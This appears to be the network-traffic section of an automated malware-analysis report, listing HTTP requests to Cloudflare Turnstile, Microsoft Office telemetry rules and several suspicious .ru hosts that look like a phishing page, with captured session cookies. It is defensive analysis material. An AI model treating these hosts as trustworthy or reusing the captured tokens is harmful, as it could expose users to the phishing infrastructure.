Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://ajtl2.clriwhkc.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/708f7a809116/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://ajtl2.clriwhkc.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://ajtl2.clriwhkc.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=sdhGxn0iQqpJH7dHuMZopZAUI_R39vFCv7E2pxYDd6U-1743010591-1.0.1.1-.Ly4lonQuy2Cg.PD7LA_26s1O7.9wfUzLTR_uGRgh9rywMjIO7tZNvNhawRdBzvLv8EL7zi6TXNtuqKhFSsq1E1GnlnkU0S2qBjJe8R7u1I
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/a1zel/0x4AAAAAABBnbD5-02hiTvEK/auto/fbE/new/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeSec-Fetch-Storage-Access: activeReferer: https://ajtl2.clriwhkc.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=9268692c083eeeee&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/a1zel/0x4AAAAAABBnbD5-02hiTvEK/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/a1zel/0x4AAAAAABBnbD5-02hiTvEK/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1359941904:1743006530:b18xyMhfs8wohD3k7G4l03SoM2MaWOdX-TcjZqOK9KQ/9268692c083eeeee/L7tj25e8b0yMOBr48BG_bhn2so7u3RMOZvMkEixlqpk-1743010592-1.1.1.1-ZBq7d50QQEeuuRZDGxLM1kAOiNBvJrBpnwT.VGicMPnFuk8wuuqiUHpgkJqooGmL HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/9268692c083eeeee/1743010593721/db1d6fc6ddaa232056a4bfa142975096d09098f791e9ca8eb3b0c42c1fc0c319/otcZyHWyNmzhyAt HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/a1zel/0x4AAAAAABBnbD5-02hiTvEK/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/d/9268692c083eeeee/1743010593723/A1I6-amfe-zhKiK HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/a1zel/0x4AAAAAABBnbD5-02hiTvEK/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/d/9268692c083eeeee/1743010593723/A1I6-amfe-zhKiK HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1359941904:1743006530:b18xyMhfs8wohD3k7G4l03SoM2MaWOdX-TcjZqOK9KQ/9268692c083eeeee/L7tj25e8b0yMOBr48BG_bhn2so7u3RMOZvMkEixlqpk-1743010592-1.1.1.1-ZBq7d50QQEeuuRZDGxLM1kAOiNBvJrBpnwT.VGicMPnFuk8wuuqiUHpgkJqooGmL HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v5s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1359941904:1743006530:b18xyMhfs8wohD3k7G4l03SoM2MaWOdX-TcjZqOK9KQ/9268692c083eeeee/L7tj25e8b0yMOBr48BG_bhn2so7u3RMOZvMkEixlqpk-1743010592-1.1.1.1-ZBq7d50QQEeuuRZDGxLM1kAOiNBvJrBpnwT.VGicMPnFuk8wuuqiUHpgkJqooGmL HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /bhanchod@touw1g01 HTTP/1.1Host: o0xs89.hxnywi.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://ajtl2.clriwhkc.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ajtl2.clriwhkc.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /bhanchod@touw1g01 HTTP/1.1Host: o0xs89.hxnywi.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /o6N2/ HTTP/1.1Host: ajtl2.clriwhkc.ruConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://ajtl2.clriwhkc.ru/o6N2/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InM2WUpBcVVqOXFoYU1HZVQ5dTRVOHc9PSIsInZhbHVlIjoiR1FRQ2d6UmlZeVM1YkNIdkZtNi9lQnRhdHhmaC80WmxkWnRPUVJQTmxQTkRGZ3Q0SzdZRUxZMVV5V3dTaC9EQ1Uxb3h1cU01bXM3eXhQNFVoeGJYell2anFhaEJrdnE4aDlMU3d4U1ZLVlNhUlh1QS9CeXpSUlZsbVNzYkt2bUUiLCJtYWMiOiJmMzczN2NjNWY3MDBlZTU0MzU3OWVkZTk0YTIzZmQyZWFmNTEyMTQ5NjdhZjI5YzU4ODNmM2M1Y2E1MmUwMmQ3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImRIcmxCUUtqMCtEN2pmN2U3Q1FxMVE9PSIsInZhbHVlIjoiaUtBQm5UaVIwYmdRL0NZS3dUY1R1dmZ3QWJnNllldmUrcG5oNk5IN3JBNEVYL2d4UEs1S21nQjhneGlwZzVYcjFMNFA2bmVhZ0FXbThRUFBkY25rWFBibUFqY0ZBS2N6MFJ5V2NPdk51VEV0dFI4dGowRWs0KzNVVkNJR3ZHaHciLCJtYWMiOiI0YTY4OTZiYzEzMGFiZDg4NDQ2MTU2ZTViOGFjY2RjYTM1NzYwOThhYTA1MmRkYzk0ZTA2MTM3YWY4NjFkZTg4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fqKeENct02m0udb8Rtpo HTTP/1.1Host: ajtl2.clriwhkc.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InM2WUpBcVVqOXFoYU1HZVQ5dTRVOHc9PSIsInZhbHVlIjoiR1FRQ2d6UmlZeVM1YkNIdkZtNi9lQnRhdHhmaC80WmxkWnRPUVJQTmxQTkRGZ3Q0SzdZRUxZMVV5V3dTaC9EQ1Uxb3h1cU01bXM3eXhQNFVoeGJYell2anFhaEJrdnE4aDlMU3d4U1ZLVlNhUlh1QS9CeXpSUlZsbVNzYkt2bUUiLCJtYWMiOiJmMzczN2NjNWY3MDBlZTU0MzU3OWVkZTk0YTIzZmQyZWFmNTEyMTQ5NjdhZjI5YzU4ODNmM2M1Y2E1MmUwMmQ3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImRIcmxCUUtqMCtEN2pmN2U3Q1FxMVE9PSIsInZhbHVlIjoiaUtBQm5UaVIwYmdRL0NZS3dUY1R1dmZ3QWJnNllldmUrcG5oNk5IN3JBNEVYL2d4UEs1S21nQjhneGlwZzVYcjFMNFA2bmVhZ0FXbThRUFBkY25rWFBibUFqY0ZBS2N6MFJ5V2NPdk51VEV0dFI4dGowRWs0KzNVVkNJR3ZHaHciLCJtYWMiOiI0YTY4OTZiYzEzMGFiZDg4NDQ2MTU2ZTViOGFjY2RjYTM1NzYwOThhYTA1MmRkYzk0ZTA2MTM3YWY4NjFkZTg4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
